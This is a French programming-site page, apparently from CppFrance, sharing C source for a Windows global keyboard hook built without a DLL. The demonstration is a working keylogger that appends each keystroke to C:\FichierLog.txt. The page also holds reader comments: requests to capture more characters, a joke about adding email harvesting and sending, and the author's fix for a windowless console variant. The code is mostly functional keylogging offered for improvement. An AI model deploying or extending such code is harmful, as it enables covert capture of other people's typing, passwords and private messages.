begin process at 2010 02 09 22:10:12
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

API

 > HOOK GLOBAL SANS DLL

HOOK GLOBAL SANS DLL


 Information sur la source

Note :
9,53 / 10 - par 17 personnes
9,53 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :API Classé sous :hook, global, sans, dll Niveau :Débutant Date de création :30/10/2004 Vu / téléchargé :18 479 / 2 165

Auteur : racpp

Ecrire un message privé
Commentaire sur cette source (60)
Ajouter un commentaire et/ou une note

 Description

Salut tout le monde,
Je pensais toujours qu'une DLL externe est indispensable pour réaliser un hook global. C'est d'ailleurs ce qui est précisé dans Microsoft MSDN. Or ce petit code source montre combien c'est facile de mettre la fonction du hook dans le même exécutable. Il s'agit ici d'un hook clavier permettant de faire un petit keylogger. Ce dernier est reduit au minimum. A vous de l'améliorer selon vos besoins. Ce code est testé sur Windows 2000 et fonctionne même en mode utilisateur. Il devrait fonctionner aussi sur XP.

Source

  • // Ce code fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur
  • #define _WIN32_WINNT 0x0400
  • #include <windows.h>
  • HHOOK hHook; // Handle du hook global
  • HINSTANCE hExe; // Handle de notre exécutable
  • // Fonction de gestion du hook
  • __declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)
  • {
  • if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
  • {
  • // Structure de récupération d'infos sur la touche tapée
  • KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
  • // Obtenir la lettre de la touche tapée
  • char lettre=(char)hookstruct.vkCode;
  • // Compteur des octets écrits pour WriteFile()
  • DWORD Ecrits;
  • // Ouverture du fichier log. Le créer s'il n'existe pas.
  • HANDLE hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  • // Si le handle retourné est valide alors
  • if( hFichier != INVALID_HANDLE_VALUE)
  • {
  • // Mettre le pointeur du fichier à la fin
  • SetFilePointer(hFichier,NULL,NULL,FILE_END);
  • // Ecrire la lettre dans le fihier log
  • WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
  • // Fermer le fichier
  • CloseHandle(hFichier);
  • }
  • }
  • // Renvoi des messages au sytème pour permettre d'autres hooks
  • return CallNextHookEx(hHook, nCode, wParam, lParam);
  • }
  • //Fonction de la boite de dialogue
  • BOOL CALLBACK MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
  • {
  • static HWND hBouton;//Handle du bouton
  • static int etat;// Flag d'état du hook
  • switch( msg )
  • {
  • case WM_CLOSE: // Clic sur la croix de fermeture
  • // Fermeture de la boite de dialogue
  • EndDialog( hDlg, TRUE );
  • return 1;
  • case WM_INITDIALOG: //Initialisation de la boite de dialogue
  • // Création du bouton Activer/Désactiver
  • hBouton = CreateWindow("BUTTON", "Activer le hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
  • // Obtenir le HANDLE de l'exécutable en cours
  • hExe = GetModuleHandle(NULL);
  • // Mettre le flag d'état à 0= Hook inactif
  • etat=0;
  • // Fin d'initialisation
  • return 1;
  • case WM_COMMAND: // Appui sur le bouton
  • if( lParam == (long) hBouton)
  • {
  • if (!etat)//Si hook inactif alors
  • {
  • // Activer le hook
  • hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
  • //Mettre le flag d'etat à 1 (actif)
  • etat=1;
  • // Changer le texte du bouton
  • SetWindowText(hBouton,"Désactiver le hook");
  • }
  • else //Si hook actif alors
  • {
  • // Désactiver le hook
  • UnhookWindowsHookEx(hHook);
  • // Mettre le flag d'état à 0 (inactif)
  • etat=0;
  • // Changer le texte du bouton
  • SetWindowText(hBouton,"Activer le hook");
  • }
  • break;
  • }
  • }
  • return 0;
  • }
  • //Fonction principale: Création d'une boite de dialogue sans ressources
  • int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
  • {
  • // Allouer de la mem pour notre dialog template
  • LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512);
  • if (!lpdt) return 1;
  • // Définir les propriétés de la boite de dialogue
  • lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION;
  • lpdt->x = 100; lpdt->y = 100; lpdt->cx = 120; lpdt->cy = 50;
  • // Obtenir pointeur sur la zone du nom de la boite de dialogue
  • LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;
  • // Convertir le nom en UNICODE et le mettre dans la zone nom
  • MultiByteToWideChar (CP_ACP, 0, "Hook Global Sans DLL", -1, lpnom, 128);
  • // Lancer la boite de dialogue
  • DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);
  • // Libérer la mémoire allouée puis quitter
  • GlobalFree((HGLOBAL) lpdt);
  • return( FALSE );
  • }
// Ce code  fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur
#define _WIN32_WINNT 0x0400

#include <windows.h>

HHOOK hHook;    // Handle du hook global
HINSTANCE hExe; // Handle de notre exécutable

// Fonction de gestion du hook 
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode,  WPARAM wParam,  LPARAM lParam) 
{
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
	{
        // Structure de récupération d'infos sur la touche tapée
        KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);

        // Obtenir la lettre de la touche tapée 
		char lettre=(char)hookstruct.vkCode;

        // Compteur des octets écrits pour WriteFile()
        DWORD Ecrits;

		// Ouverture du fichier log. Le créer s'il n'existe pas.
		HANDLE	hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        
		// Si le handle retourné est valide alors
		if( hFichier != INVALID_HANDLE_VALUE)
		{ 
         // Mettre le pointeur du fichier à la fin
		 SetFilePointer(hFichier,NULL,NULL,FILE_END);

		 // Ecrire la lettre dans le fihier log
		 WriteFile(hFichier,&lettre,1,&Ecrits,NULL);

		 // Fermer le fichier
	     CloseHandle(hFichier);
		}
	}
   // Renvoi des messages au sytème pour permettre d'autres hooks
   return CallNextHookEx(hHook, nCode, wParam, lParam);

}

//Fonction de la boite de dialogue
BOOL CALLBACK  MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
{
    static HWND hBouton;//Handle du bouton
	static int etat;// Flag d'état du hook

	switch( msg )
	{   
     
     case WM_CLOSE: // Clic sur la croix de fermeture

        // Fermeture de la boite de dialogue
        EndDialog( hDlg, TRUE );
		return 1;

     case WM_INITDIALOG: //Initialisation de la boite de dialogue

	    // Création du bouton Activer/Désactiver
	    hBouton = CreateWindow("BUTTON", "Activer le hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
           
		// Obtenir le HANDLE de l'exécutable en cours
		hExe = GetModuleHandle(NULL);

		// Mettre le flag d'état à 0= Hook inactif
		etat=0;

		// Fin d'initialisation
		return 1;

     case WM_COMMAND: // Appui sur le bouton
	    if( lParam == (long) hBouton)
		{
		 if (!etat)//Si hook inactif alors 
		 {
          // Activer le hook
		  hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
	    
		  //Mettre le flag d'etat à 1 (actif)
		  etat=1;

		  // Changer le texte du bouton
		  SetWindowText(hBouton,"Désactiver le hook");
		 }

	  	else //Si hook actif alors 
		{
         // Désactiver le hook
         UnhookWindowsHookEx(hHook);

         // Mettre le flag d'état à 0 (inactif)
		 etat=0;

		 // Changer le texte du bouton
         SetWindowText(hBouton,"Activer le hook");
		}
		break;
	   }
	   
	}
   return 0;
}


//Fonction principale: Création d'une boite de dialogue sans ressources
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
{
    
    // Allouer de la mem pour notre dialog template
	LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512); 
    if (!lpdt) return 1;

    // Définir les propriétés de la boite de dialogue
    lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION; 
    lpdt->x  = 100;	lpdt->y  = 100;	lpdt->cx = 120; lpdt->cy = 50; 
  
    // Obtenir pointeur sur la zone du nom de la boite de dialogue
    LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;

	// Convertir le nom en UNICODE et le mettre dans la zone nom
	MultiByteToWideChar (CP_ACP, 0, "Hook Global Sans DLL", -1, lpnom, 128);
    
    // Lancer la boite de dialogue
	DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);

	// Libérer la mémoire allouée puis quitter
    GlobalFree((HGLOBAL) lpdt); 
    return( FALSE );
}


 Conclusion

Vos questions, remarques ou suggestions sont les bienvenues.

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Sources du même auteur

Source avec Zip Source avec une capture IMPRESSION EN WIN32 API AVEC OPTIONS
Source avec Zip Source avec une capture INFOTIP SHELL EXTENSION (BULLE DE L'EXPLORATEUR WINDOWS) (WI...
Source avec Zip Source avec une capture APPLICATION MULTILINGUE UTILISANT UNICODE (WIN32)
Source avec Zip Source avec une capture CHRONOMÈTRE OSD (WIN32)
Source avec Zip Source avec une capture EXTENSION DU SHELL: MENU CONTEXTUEL EN C (WIN32 API)

 Sources de la même categorie

Source avec Zip Source avec une capture CALENDRIER (WIN64) par BruNews
Source avec Zip Source avec une capture IMPRESSION EN WIN32 API AVEC OPTIONS par racpp
Source avec Zip Source avec une capture INFOTIP SHELL EXTENSION (BULLE DE L'EXPLORATEUR WINDOWS) (WI... par racpp
Source avec Zip Source avec une capture BROUILLAGE DES FICHIERS JAVASCRIPT ET CSS(WIN32) par gagah1
Source avec Zip Source avec une capture CHANGE CURSEUR par ganjarasta

 Sources en rapport avec celle ci

Source avec Zip DLLMAKER V2.0 par Altaris
Source avec Zip HOOK SOURIS SUR TASKBAR (WIN32) par BruNews
Source avec Zip Source avec une capture HOOK CLAVIER AVEC DLL EN C++ [DEV-C++] par victorcoasne
Source avec Zip Source avec une capture Source .NET (Dotnet) HOOK GLOBAL - C++ MANAGÉ / DLL NATIVE par cali70
Source avec Zip MOUSELOCK par jmhC

Commentaires et avis

Commentaire de Nebula le 30/10/2004 03:55:16

Pas bête le coup de l'export de fonction directement dans l'exécutable, bien vu ! ;-)

Commentaire de aardman le 30/10/2004 03:56:17

Salut,
Pas mal, c'est astucieux en tout cas..

Commentaire de LordBob le 30/10/2004 10:47:15

c'est pas idiot... ca peut toujours servir!

Commentaire de Urgo le 30/10/2004 17:43:04

Ceci je connaissais depuis peu, ça m'avait bien servi pour un des mes programmes ;)

Commentaire de racpp le 30/10/2004 18:58:59 administrateur CS

Merci pour vos commentaires.
C'est vrai que ça peut servir car d'habitude il fallait créer deux projets distincts, celui de la DLL et celui de l'EXE. Ce que j'avais toujours trouvé un peu abérrant. Ce que je ne comprends pas c'est pourquoi Microsoft insiste sur l'emploi de la DLL externe et ne dit pas le moindre mot sur une autre alternative possible. A t-elle peur des Hookers?

Commentaire de srtg1 le 30/10/2004 20:19:01

manque la distinction Maj / Min , l'evenement WM_SYSKEYDOWN et c parfait :-) ...

Commentaire de racpp le 30/10/2004 20:28:15 administrateur CS

srtg1 >> Oui je sais, je disais dans l'introduction que le keylogger est reduit au minimum. Le but de ce source est de montrer comment faire un hook global sans dll. Le keylogger n'est là que pour prouver le bon fonctionnement du code. Tu peux le perfectionner comme bon te semble.  :) Merci pour la remarque.

Commentaire de srtg1 le 30/10/2004 20:32:59

Ouai cool une fct de recup d'adresse Email & d'envoie et on a gagner le gros lot ... :-)

Commentaire de sibi12 le 31/10/2004 11:21:56

racpp >>

"Ce que je ne comprends pas c'est pourquoi Microsoft insiste sur l'emploi de la DLL externe et ne dit pas le moindre mot sur une autre alternative possible. A t-elle peur des Hookers?"

ta ta ta ta ta...chhuuuuuuttttt !!! En cherchant d'un peu plus près :

http://msdn.microsoft.com/msdnmag/issues/0700/Win32/toc.asp

C'est vrai que dans la masse de la MSDN fallait aller la degotter mais bon...  C'est on ne peux plus clair come code. (Telecharge le .exe)

;-)

Ce code m'avait servi pour un programme il y a peut aussi.

Commentaire de racpp le 31/10/2004 13:35:38 administrateur CS

Salut,
sibi12 >> En effet, je viens de compiler le source exemple et ça marche. Franchement, je ne savais pas que cela existait (Merci).  L'auteur de l'exemple (Jeffrey Richter) ne fait aucune allusion à une DLL. On peut dire qu'il est en train de contredire Microsoft. Car dans ses pages sur les hooks, ils sont formels: Pas de hook global sans DLL externe:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/WinUI/WindowsUserInterface/Windowing/Hooks.asp

Cela prouve que microsoft nous cache beaucoup de choses. C'est une raison de plus pour ne pas lui faire toujours confiance. Voulant faire un hook glogal sans dll, j'ai cherché partout en vain. Tout le monde dit qu'une DLL externe est indispensable. Puisque le handle d'une DLL et d'un EXE sont pareils, je me suis dit que si on exporte une fonction de l'EXE, la fonction SetWindowsHookEx() pourrait l'accepter. Ca a marché. En réalité, en regardant le source de Jeffrey Richter, on s'aperçoit qu'on n'a même pas besoin de l'exporter. Pourquoi Microsoft nous a-t-elle menti? :)

Commentaire de sibi12 le 31/10/2004 15:14:02

Je ne savais pas que microsoft avait prétendu ça... "You must place a global hook procedure in a dynamic-link library (DLL) separate from the application installing the hook procedure."

"Must" signifie bien l'obligation...C'est assez etonnant qu'il fournisse un contre exemple !!!

Commentaire de Urgo le 31/10/2004 17:07:54

"Cela prouve que microsoft nous cache beaucoup de choses."

LOL sans commentaire...

Commentaire de Nikoscian le 31/10/2004 22:14:02

Merci beaucoup! Avec les DLL les hooks ne fonctionnent pas chez moi (compilateur Dev-c++) le code se compile correctement mais impossible de créer le hook à l'exécution du programme.
Là je compile le code source et miracle ça marche!!!

Commentaire de NikatorS le 01/11/2004 21:04:15

C'est une découverte qui me plait vraiment. j'ai toujours trouver énervent de devoir créer une DLL.

Merci!!

Commentaire de basted le 01/11/2004 21:47:37

Il me semblais bien deja avoir essayé un truc comme ca en vain, merci pour l'example!

Commentaire de eRoZion le 04/11/2004 10:22:26

Très bon à savoir, ca fonctionne parfaitement chez moi.
Merci.


eRoZion

Commentaire de sirozz le 18/12/2004 21:11:33

Effectivement, ça marche avec WH_KEYBOARD_LL et WH_MOUSE_LL mais avec les autres types de messages, ya rien à faire ! j'ai tout essayé.
Si Microsoft recommande l'ustilisation d'une DLL c'est (à vérifier) que les messages traités par les DLL sont prioritaires sur les hooks traités par les exe. Je cherche quand même une solution pour faire un exe capable de faire un hook sur les autres type de message mais sans DLL, si vous avez une solution je suis preneur. (peut-être une solution à la trojan-style avec une DLL en embed dans le programme, je sais pas si c'est possible). Merci quand même pour ta source Racpp.

Commentaire de BruNews le 18/12/2004 22:11:01 administrateur CS

MS n'aurait-il pas menti alors ?

Commentaire de scelw le 25/05/2005 11:04:31

Comment étendre la gestion des caractères alphabétiques aux caractères numériques et spéciaux?? (je suis confronté à un problème de types de variables...)

Commentaire de racpp le 11/06/2005 15:57:23 administrateur CS

scelw >> Explique ton problème un peu plus stp.

Commentaire de scelw le 12/06/2005 12:07:30

oui, je vais expliquer un peu plus en détail :
actuellement, ton keylogger n'enregistre que les caractères alphabétiques (a, b, c, d, ..., y, z) et non les chiffres (0, 1, 2, 3, ..., 8, 9). Or j'aimerais savoir comment faire pour changer ça et permettre au keylogger d'enregistrer AUSSI les chiffres.
Et pourquoi pas les caractères spéciaux (&, é, ", {, ..., %, $) tant qu'on y est...

Le problème vient de cette ligne (je crois) :

        // Obtenir la lettre de la touche tapée
        char lettre=(char)hookstruct.vkCode;

ici, la variable "lettre" est de type "char", donc elle ne peut contenir que des caractères alphabétiques. C'est ce qui limite le keylogger.
Selon moi, il faudrait ajouter à cela une structure conditionnelle pour déterminer si la valeur renvoyée par hookstruct.vkCode est supérieur à un certain nombre (et dans ce cas ça veut dire qu'il s'agit de chiffres) ou inférieure (et dans ce cas, ce sont des lettres de l'alphabet). Mais je n'arrive pas à coder ça...

Scel W

Commentaire de Filipe35 le 14/06/2005 16:20:22

Bravo  racpp , très bonne source !

J'ai essayé de l'adapter au Delphi, voici ce que ca donne:

procedure TForm1.ActiverClick(Sender: TObject);
begin
// Cpp:  hHook      = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe    , NULL );
// Del:  HookHandle:= SetWindowsHookEx( WH_KEYBOARD   ,HookActionCallBack  ,HInstance, 0    );
SetWindowsHookEx( WH_KEYBOARD , HookActionCallBack , HInstance , 0 );
end;



function HookActionCallBack(Code: integer; MSG: WPARAM; KeyHook: LPARAM):LRESULT; stdcall;
{cette fonction reçoit tous les messages détournés}
begin
  messageBeep(1);
  Result:=CallNextHookEx(hHook,Code,Msg,KeyHook);
  //afin que le message continue à se propager
end;


procedure TForm1.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(hHook);
end;

Mais hélas ca ne marche pas comme il faudrait.
C'est nikel quand on tape dans notre application mais les autres, ca marche plus ( 0 beep => désactivé ?)

Alors j'aimerais savoir qu'est ce qui fait que ton code marche...

Merci

Bonne prog à tous

Filipe

PS: erreur dans la page j'éspère que je n'ai pas posté en double

Commentaire de Filipe35 le 15/06/2005 15:23:04

ah désolé pour le double post....

je tiens à préciser aussi:

J'ai remarqué dans W32dasm dans export fonction : "?HookProc@@YGJHIJ@Z"
J'ai fait de même avec un export de Delphi:
exports HookActionCallBack; // (HookActionCallBack apparait dans les exports de w32dasm)

mais ca ne corrige rien au problème....

Filipe

Commentaire de racpp le 04/07/2005 16:17:28 administrateur CS

Salut,
scelw >> Comme précisé dans la présentation de ce code, le keylogger est réduit au strict minimum. hookstruct.vkCode est un DWORD. Il est vrai que pour certaines touches, il contient le code du caractère pour clavier américain. Il faut donc le convertir en code pour caractère français.

Filipe35 >> Désolé, j'ai jamais travaillé sur Delphi.

Commentaire de Filipe35 le 05/07/2005 12:27:27

Arf... oki merci comme même, mais personne n'a une idée

je sais pas keske veut dire ceci (par ex):

__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)

Merci

Filipe

Commentaire de racpp le 10/07/2005 19:37:11 administrateur CS

Salut,
Filipe35 >> Pour bien comprendre tout ça, il faut laisser Delphi de côté pendant quelque temps pour apprendre les bases de la programmation Windows en C/C++.
__declspec(dllexport) : Permet à une fonction d'être exportée d'une DLL.
LRESULT : Type de valeur de retour de la fonction.
CALLBACK : Une fonction de ce type intercepte les messages système.
HookProc : Nom de la fonction.
( int nCode, WPARAM wParam, LPARAM lParam) : Paramètres d'entrée de la fonction (appelée par le système).

Commentaire de BruNews le 10/07/2005 19:54:05 administrateur CS

Juste une précision:
CALLBACK n'est qu'un alias de __stdcall (fonction dépile les params) et donc ne définit que la convention d'appel.

Commentaire de Filipe35 le 11/07/2005 12:35:24

Merci beaucoup j'espère que je vais y arriver :p

Bonne prog à tous

Filipe

Commentaire de racpp le 12/07/2005 07:14:19 administrateur CS

BruNews >> Merci pour la précision. En effet, CALLBACK équivaut à __stdcall, comme WINAPI. En plus de définir la convention d'appel (__stdcall), ça sert aussi à nous préciser qu'il s'agit d'une fonction de type "callback". Précision utile seulement pour la conception et la lecture du code source.

Commentaire de Paulo44 le 24/07/2005 14:09:36

Il y a quand même un truc bizarre avec ce principe : il me semblait que normalment windows appellait la fonction du hook dans le contexte (espace d'adresses) de l'exécutable qui reçois le message clavier intercepté. Donc le problème, c'est que dans ce cas les variables globales de l'exécutable seront mappées à chaque fois, comme avec une dll, et ici hHook=0 dans le hook... En plus niveau performances c'est pas super si il y a plein de globales...
Enfin j'ai peut être mal compris quelque chose...

Commentaire de albert0 le 17/09/2005 19:02:49

en gros on remplasse:

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad) {

par
__declspec(dllexport) LRESULT CALLBACK XXXX ( int nCode, WPARAM wParam, LPARAM lParam)

?

Commentaire de victorcoasne le 26/10/2005 22:20:26

Bonjour,

J'ai une question :
Pq ça ne fonctionne que sur les PC Win2000 ou plus et pas 98 ou 95 ou 3.1 ?
Est-ce qu'avec une dll ça fonctionne ?
Comment on pourrait faire pour que ça fonctionne ?

Bon d'accord ça fait trois questions mais bon on est pas à ça près !

Commentaire de BlackGoddess le 26/10/2005 22:30:03

je vois pas d'url s'afficher je comprends pas ? expliquez mois svp !!!

Commentaire de BlackGoddess le 26/10/2005 22:30:35

blague a part, jolie source, en effet il fallait y penser :)

Commentaire de victorcoasne le 26/10/2005 22:33:07

BlackGoddess tu me suis à la trace ou il te faut un screeshoot ?

Commentaire de BlackGoddess le 26/10/2005 22:36:24

la luminosité de tes interventions me frappe l'oeil, d'ou ma venue !

Commentaire de victorcoasne le 26/10/2005 22:38:27

Je savais bien que j'avais un trojan dans mon ordi !
lol

En attendant ma(es) question(s) reste sans réponse !

Commentaire de BlackGoddess le 26/10/2005 22:42:15

WH_KEYBOARD_LL ne fonctionne que sur Windows NT/2000/XP

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp

c'est donc indépendant de l'utilisation d'une dll, et ca fonctionne pas sur win95/98 sans parler de win3.1 ...

Commentaire de victorcoasne le 26/10/2005 23:34:24

Ok mais il y a pas moyen de contourner ?

Commentaire de Paulo44 le 27/10/2005 16:03:40

Evidemment que non on peut pas contourner, puisqu'avec les windows 9x c'est pas prévu par l'api...
Donc si tu veux faire un hook (ce qui est relativement inutile à par pour faire un keylogger) tu utilises WH_KEYBOARD et une dll, c tout

Commentaire de sman0 le 31/10/2005 18:34:39

joli exemple
bravo :p

Commentaire de wallegen le 17/04/2006 02:12:49

J'aimerais le tester mais en console

// Ce code  fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur
#define _WIN32_WINNT 0x0400

#include <windows.h>

HHOOK hHook;    // Handle du hook global
HINSTANCE hExe; // Handle de notre exécutable

// Fonction de gestion du hook
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode,  WPARAM wParam,  LPARAM lParam)
{
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
{
        // Structure de récupération d'infos sur la touche tapée
        KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);

        // Obtenir la lettre de la touche tapée
char lettre=(char)hookstruct.vkCode;

        // Compteur des octets écrits pour WriteFile()
        DWORD Ecrits;

// Ouverture du fichier log. Le créer s'il n'existe pas.
HANDLE hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        
// Si le handle retourné est valide alors
if( hFichier != INVALID_HANDLE_VALUE)
{
         // Mettre le pointeur du fichier à la fin
SetFilePointer(hFichier,0,NULL,FILE_END);

// Ecrire la lettre dans le fihier log
WriteFile(hFichier,&lettre,1,&Ecrits,NULL);

// Fermer le fichier
     CloseHandle(hFichier);
}
}
   // Renvoi des messages au sytème pour permettre d'autres hooks
   return CallNextHookEx(hHook, nCode, wParam, lParam);

}







//Fonction principale: Création d'une boite de dialogue sans ressources
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
{
    
        
        hExe = hInstance;
        hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, 0);
    system("pause");
        UnhookWindowsHookEx(hHook);
    
    return 0;
}

mais ça ne fonctionne pas ou est mon erreur?

Commentaire de demz le 21/04/2006 13:09:56

J'aimerai bien savoir aussi...

Commentaire de racpp le 24/04/2006 05:36:51 administrateur CS

Salut,
L'erreur est que, tout simplement, ton programme ne contient pas de boucle de récupération des messages Windows pour cette application. C'est indispensable pour le hook. J'aimerais préciser aussi que le code que tu nous soumets ici ne correspond pas à une application console mais plutôt à une application Win32 sans fenêtre. Pour les boites de dialogue, on n'a pas besoin de boucle de messages.
Voici la fonction main corrigée et testée:
int main ()
{      
    hExe = GetModuleHandle(0);
    hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, 0);
    MSG message;
    while (GetMessage(&message,NULL,0,0))
    {
        TranslateMessage( &message );
DispatchMessage( &message );
    }
    UnhookWindowsHookEx(hHook);
    return 0;
}

N'oublie pas de créer un vrai projet console.
Bonne chance.

Commentaire de baby3378 le 28/04/2006 17:09:19

je me demandais aussi comment cela pourrait marcher en mode consol, puisque la fonction hook est censsé êter permanente par conséquent ...
Quand même c'est super bien

Commentaire de rcyril le 11/10/2006 12:58:30

Salut, sympa ce code

Cela permet de récupérer les caractères saisis depuis n'importe quel fenetre mais comment faire pour récupérer la saisie que sur une seule fenetre (notepad par exemple) ?

Merci.

Commentaire de jean84 le 30/10/2006 21:54:44

Salut !
Je suis pas tres bon pour tout ce qui est api win32 donc je me permet de poser quelques questions :
"// Fonction de gestion du hook
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)"
Je comprend pas a quoi sert le __declspec(dllexport) ? Est-ce que ce code permet de hooker tout le systeme ou seulement le programme appellant  (un peu comme les autres hook en gros...) ?
Que faudrait-il modifier pour pouvoir hooker une dll ??

Je ne demande evidement pas de code tout fait mais seulement des liens ou des indices pouvant m'aiguiller dans mes recherches (compression des hooks, utilisation et mise en place, ect ...)

Merci par avance ;-)

@++

Commentaire de jean84 le 30/10/2006 21:56:26

Heu .. petit bug dans "[...]compression des hook[...]" ! Faut lire en fait comprehension (pardon pour la faute de syntaxe ^^

@++

Commentaire de BruNews le 30/10/2006 22:32:32 administrateur CS

Dans l'exemple de la source, c'est un hook global sur le clavier. Aurait fonctionné idem pour la souris sans DLL car souris et clavier sont 2 "ressources" globales du système. Pour tout autre type de hook, il faudrait une dll pour que le système la mappe dans les divers processus concernés.

Quelques exemples globaux en dll:
HOOK SYSTEM SUR WM_MOUSEWHEEL (WIN32)
http://www.cppfrance.com/code.aspx?ID=25998
DLL HOOK EN RESSOURCE BINAIRE DU PROG (WIN32)
http://www.cppfrance.com/code.aspx?id=25450
HOOK F11 SUR IE (WIN32)
http://www.cppfrance.com/code.aspx?id=18202
HOOK CLAVIER
http://www.cppfrance.com/code.aspx?id=17818
LIMITE LE NBR DE FENETRES IE V2 (WIN32)
http://www.cppfrance.com/code.aspx?id=17387
LIMITE LE NBR DE FENETRES INTERNET EXPLORER (WIN32)
http://www.cppfrance.com/code.aspx?id=11059
NO TASK MANAGER (WIN32)
http://www.cppfrance.com/code.aspx?id=11186
HOOK DE ENTER SUR DIALOGBOX (WIN32)
http://www.cppfrance.com/code.aspx?id=11007
HOOK SUR FENETRE (WIN32)
http://www.cppfrance.com/code.aspx?id=10997
AJOUTER UN MENU A NOTEPAD (WIN32)
http://www.cppfrance.com/code.aspx?ID=28181

Commentaire de jean84 le 31/10/2006 18:37:52

Merci de ta reponse BruNews !
Mais j'ai encore quelques questions :
- j'avais dans l'idee de concevoir un parfeu (rien de bien mechant. Surtout l'etude des trames en fait). J'ai lu qu'il etait indispensable d'utiliser un hook (par contre je connais pas trop la dll a hooker). Disons qu'en fait je fais les demarches afin de me renseigner et de juger a la fin si je le fais ou pas.... Aurais-tu des infos la dessus (ou une petite idee) ?
- a quoi correspond  __declspec(dllexport) ? Je l'ai deja vu dans un source d'une dll mais je comprend pas quel est l'interet de le mettre dans un programme directement...

Merci !!

Commentaire de racpp le 01/11/2006 12:31:58 administrateur CS

Salut,
__declspec(dllexport) sert à exporter une fonction d'une DLL. Ca doit donc figurer dans le code source de cette DLL. Je l'ai laissé dans ce code source car j'étais en train de faire des tests et je pensais que c'était indispensable. Finalement, je me suis apperçu qu'on peut s'en passer et écrire la fonction de hook directement.

Commentaire de jean84 le 01/11/2006 22:52:36

Ah oki je comprend mieux merci ;-)
Au fait, faut il que le programme ai le focus pour hooker ou pas ? Je comprend pas trop l'utilisation des hooks...

Commentaire de racpp le 05/11/2006 12:58:09 administrateur CS

Pas besoin d'avoir le focus.

Commentaire de babaslow le 08/04/2007 05:43:29

Bonsoir,

Tout nouveau tout blaireau, j'ai installé ya tout juste 4 heures Visual C++ 2005 Express en suivant ce tuto :
http://arb.developpez.com/vc++/express/?page=installation

Me suis dit "tiens je vais faire un essai avec un code simple" et je suis tombé sur celui-là (marrant, un keylogger)

J'installe le tout et je lance HookSansDLL.dsp puis direct générer\généré HookSansDLL et là patatra :

------ Début de la génération : Projet : HookSansDLL, Configuration : Debug Win32 ------
Compilation en cours...
HookSansDLL.cpp
Compilation du manifeste en ressources en cours...
Édition des liens en cours...
   Création de la bibliothèque .\Debug/HookSansDLL.lib et de l'objet .\Debug/HookSansDLL.exp
HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__CallNextHookEx@16 référencé dans la fonction "long __stdcall HookProc(int,unsigned int,long)" (?HookProc@@YGJHIJ@Z)
HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__UnhookWindowsHookEx@4 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
